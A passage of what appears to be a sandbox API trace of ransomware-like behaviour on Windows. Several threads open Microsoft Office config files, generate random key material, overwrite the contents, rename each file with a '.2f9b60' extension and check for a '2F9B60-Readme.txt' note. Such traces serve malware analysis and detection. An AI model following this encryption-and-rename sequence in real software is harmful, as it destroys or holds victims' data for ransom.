BaseAddress=0x1cd9fc70) returned 1 [0165.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff190) returned 1 [0165.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42055a40) returned 1 [0165.387] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a14c0) returned 1 [0165.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a14f0) returned 1 [0165.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1490) returned 1 [0165.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1460) returned 1 [0165.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff010) returned 1 [0165.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff0d0) returned 1 [0165.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff100) returned 1 [0165.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x42c306d0 [0165.389] wcscat (in: _Dest=0x42c306d0, _Source="e1d45d4925" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e1d45d4925") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e1d45d4925" [0165.389] wcscat (in: _Dest=0x42c306d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e1d45d4925.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e1d45d4925.2f9b60" [0165.389] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e1d45d4925.2f9b60", NtPathName=0x3c84fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\e1d45d4925.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.389] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1ce22920 [0165.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22920) returned 1 [0165.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32db0) returned 1 [0165.393] NtQueryInformationFile (in: FileHandle=0x1f1c, IoStatusBlock=0x3c84fcf8, FileInformation=0x3c84fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c84fcf8, FileInformation=0x3c84fd08) returned 0x0 [0165.393] NtSetInformationFile (FileHandle=0x1f1c, IoStatusBlock=0x3c84fcf8, FileInformation=0x3c84fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c306d0) returned 1 [0165.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86250) returned 1 [0165.395] FlushFileBuffers (hFile=0x1f1c) returned 1 [0166.280] CloseHandle (hObject=0x1f1c) returned 1 [0203.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0650 [0203.273] wcscpy (in: _Dest=0x202b0650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0203.273] wcscat (in: _Dest=0x202b0650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0203.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0203.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0650) returned 1 [0203.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af340) returned 1 Thread: id = 2196 os_tid = 0x165c [0140.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg")) returned 0x20 [0140.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG", dwFileAttributes=0x20) returned 1 [0140.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f94 [0142.228] GetFileSizeEx (in: hFile=0x1f94, lpFileSize=0x3c6ffd40 | out: lpFileSize=0x3c6ffd40*=616) returned 1 [0142.228] SetFilePointerEx (in: hFile=0x1f94, liDistanceToMove=0x264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.228] ReadFile (in: hFile=0x1f94, lpBuffer=0x3c6ffcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c6ffd08, lpOverlapped=0x0 | out: lpBuffer=0x3c6ffcc0*, lpNumberOfBytesRead=0x3c6ffd08*=0x4, lpOverlapped=0x0) returned 1 [0142.229] SetFilePointerEx (in: hFile=0x1f94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feb90 [0142.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec20 [0142.230] NtQuerySystemTime (in: CurrentTime=0x3c6ffc00 | out: CurrentTime=0x3c6ffc00*=132462177474742000) returned 0x0 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x6126e3c0 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x3d07d429 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x5c90368f [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x6ea8669c [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x199e8890 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x6ea5c819 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x2ec53d7c [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x268511e2 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x51a70135 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x1d6bc313 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x7ddc29a8 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x139e127a [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x9a6a4f3 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x6d09ffbd [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x3151737d [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x16b3e431 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x1d9630e6 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x126b6ae [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x7f2e50bf [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x6d6a53b2 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x3c89330f [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x45a3d7a4 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x13d82ace [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x10daaab [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x554c046a [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x42503462 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0xd21e284 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x739553bf [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x6ea5c819 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x508bc075 [0142.230] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x71d58300 [0142.231] RtlRandomEx (in: Seed=0x3c6ffbf0 | out: Seed=0x3c6ffbf0) returned 0x9132a4f [0142.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec50 [0142.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0142.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fec80 [0142.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0142.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec20) returned 1 [0142.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ab0 [0142.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0142.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe6e0) returned 1 [0142.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421b3dd0 [0142.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422a3100 [0142.249] ReadFile (in: hFile=0x1f94, lpBuffer=0x421b3dd0, nNumberOfBytesToRead=0x268, lpNumberOfBytesRead=0x3c6ffbf0, lpOverlapped=0x0 | out: lpBuffer=0x421b3dd0*, lpNumberOfBytesRead=0x3c6ffbf0*=0x268, lpOverlapped=0x0) returned 1 [0142.250] SetFilePointerEx (in: hFile=0x1f94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.250] WriteFile (in: hFile=0x1f94, lpBuffer=0x422a3100*, nNumberOfBytesToWrite=0x268, lpNumberOfBytesWritten=0x3c6ffbf4, lpOverlapped=0x0 | out: lpBuffer=0x422a3100*, lpNumberOfBytesWritten=0x3c6ffbf4*=0x268, lpOverlapped=0x0) returned 1 [0143.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0143.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ea0 [0143.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ea0) returned 1 [0143.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422a3100) returned 1 [0143.358] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421b3dd0) returned 1 [0143.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0143.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ab0) returned 1 [0143.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced6ea0 [0143.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ab0 [0143.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0143.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8250 [0143.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0143.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8250 [0143.359] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0143.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0143.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0143.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0143.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ab0) returned 1 [0143.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167700 [0143.360] SetFilePointerEx (in: hFile=0x1f94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.360] WriteFile (in: hFile=0x1f94, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c6ffd10, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x3c6ffd10*=0x10a, lpOverlapped=0x0) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed10 [0143.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed10) returned 1 [0143.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0143.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fed10 [0143.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fece0 [0143.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fece0) returned 1 [0143.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.589] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7aa1a0 [0143.589] sprintf (in: _Dest=0x1b7aa1a0, _Format="%c%c" | out: _Dest="8a") returned 2 [0143.589] sprintf (in: _Dest=0x1b7aa1a2, _Format="%c%c" | out: _Dest="a0") returned 2 [0143.589] sprintf (in: _Dest=0x1b7aa1a4, _Format="%c%c" | out: _Dest="38") returned 2 [0143.589] sprintf (in: _Dest=0x1b7aa1a6, _Format="%c%c" | out: _Dest="87") returned 2 [0143.589] sprintf (in: _Dest=0x1b7aa1a8, _Format="%c%c" | out: _Dest="95") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1aa, _Format="%c%c" | out: _Dest="79") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1ac, _Format="%c%c" | out: _Dest="99") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1ae, _Format="%c%c" | out: _Dest="e5") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1b0, _Format="%c%c" | out: _Dest="98") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1b2, _Format="%c%c" | out: _Dest="54") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1b4, _Format="%c%c" | out: _Dest="08") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1b6, _Format="%c%c" | out: _Dest="da") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1b8, _Format="%c%c" | out: _Dest="64") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1ba, _Format="%c%c" | out: _Dest="fa") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1bc, _Format="%c%c" | out: _Dest="30") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1be, _Format="%c%c" | out: _Dest="35") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1c0, _Format="%c%c" | out: _Dest="0c") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1c2, _Format="%c%c" | out: _Dest="b3") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1c4, _Format="%c%c" | out: _Dest="ad") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1c6, _Format="%c%c" | out: _Dest="c0") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1c8, _Format="%c%c" | out: _Dest="3b") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1ca, _Format="%c%c" | out: _Dest="07") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1cc, _Format="%c%c" | out: _Dest="71") returned 2 [0143.590] sprintf (in: _Dest=0x1b7aa1ce, _Format="%c%c" | out: _Dest="86") returned 2 [0143.590] RtlInitAnsiString (in: DestinationString=0x3c6ffd88, SourceString="8aa03887957999e5985408da64fa30350cb3adc03b077186" | out: DestinationString="8aa03887957999e5985408da64fa30350cb3adc03b077186") [0143.590] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c6ffd58, SourceString="8aa03887957999e5985408da64fa30350cb3adc03b077186", AllocateDestinationString=1 | out: DestinationString="8aa03887957999e5985408da64fa30350cb3adc03b077186") returned 0x0 [0143.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86eaa0 [0143.591] RtlFreeAnsiString (AnsiString="8") [0143.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1a0) returned 1 [0143.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fed10) returned 1 [0143.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0143.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8250) returned 1 [0143.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0143.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ea0) returned 1 [0143.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0143.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feb90) returned 1 [0143.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec50) returned 1 [0143.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fec80) returned 1 [0143.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20507870 [0143.593] wcscat (in: _Dest=0x20507870, _Source="8aa038879579" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8aa038879579") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8aa038879579" [0143.593] wcscat (in: _Dest=0x20507870, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8aa038879579.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8aa038879579.2f9b60" [0143.593] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8aa038879579.2f9b60", NtPathName=0x3c6ffd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\8aa038879579.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x1ce22260 [0143.593] NtSetInformationFile (FileHandle=0x1f94, IoStatusBlock=0x3c6ffdd0, FileInformation=0x1ce22260, Length=0xb2, FileInformationClass=0xa) returned 0x0 [0143.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22260) returned 1 [0143.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053000) returned 1 [0143.783] NtQueryInformationFile (in: FileHandle=0x1f94, IoStatusBlock=0x3c6ffd98, FileInformation=0x3c6ffda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c6ffd98, FileInformation=0x3c6ffda8) returned 0x0 [0143.783] NtSetInformationFile (FileHandle=0x1f94, IoStatusBlock=0x3c6ffd98, FileInformation=0x3c6ffda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0143.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507870) returned 1 [0143.790] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86eaa0) returned 1 [0143.790] FlushFileBuffers (hFile=0x1f94) returned 1 [0143.799] CloseHandle (hObject=0x1f94) returned 1 [0143.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x20507870 [0143.801] wcscpy (in: _Dest=0x20507870, _Source="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\" [0143.802] wcscat (in: _Dest=0x20507870, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" [0143.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\2f9b60-readme.txt")) returned 0x20 [0143.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507870) returned 1 [0143.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aefe0) returned 1 Thread: id = 2197 os_tid = 0x1660 [0140.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg")) returned 0x20 [0140.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG", dwFileAttributes=0x20) returned 1 [0140.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipm.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f00 [0142.358] GetFileSizeEx (in: hFile=0x1f00, lpFileSize=0x3c67f9e0 | out: lpFileSize=0x3c67f9e0*=795) returned 1 [0142.358] SetFilePointerEx (in: hFile=0x1f00, liDistanceToMove=0x317, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.358] ReadFile (in: hFile=0x1f00, lpBuffer=0x3c67f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c67f9a8, lpOverlapped=0x0 | out: lpBuffer=0x3c67f960*, lpNumberOfBytesRead=0x3c67f9a8*=0x4, lpOverlapped=0x0) returned 1 [0142.378] SetFilePointerEx (in: hFile=0x1f00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff0a0 [0142.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff130 [0142.378] NtQuerySystemTime (in: CurrentTime=0x3c67f8a0 | out: CurrentTime=0x3c67f8a0*=132462177476146000) returned 0x0 [0142.378] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x7d8b2de3 [0142.378] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x36e16571 [0142.378] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x2be5aae9 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x6160eff9 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x526a4e1c [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x64057932 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x3a35d5b7 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x5c2a8ae8 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x4aebc368 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x53e494b6 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x35bdb1a1 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x5a5753e [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x57565a8 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x7b895ad [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x5023b67 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x7b2d09cf [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x5ce63804 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x23538c63 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x477f67a [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x7f90235a [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x98fbed6 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x1a8e35d [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x2f90ab2f [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x27c68364 [0142.379] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x2d7157dc [0142.380] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x6dd8affa [0142.380] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x3727d00 [0142.380] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x5847646d [0142.380] RtlRandomEx (in: Seed=0x3c67f890 | out: Seed=0x3c67f890) returned 0x258bdbd3 [0142.380] RtlRandomEx (in: 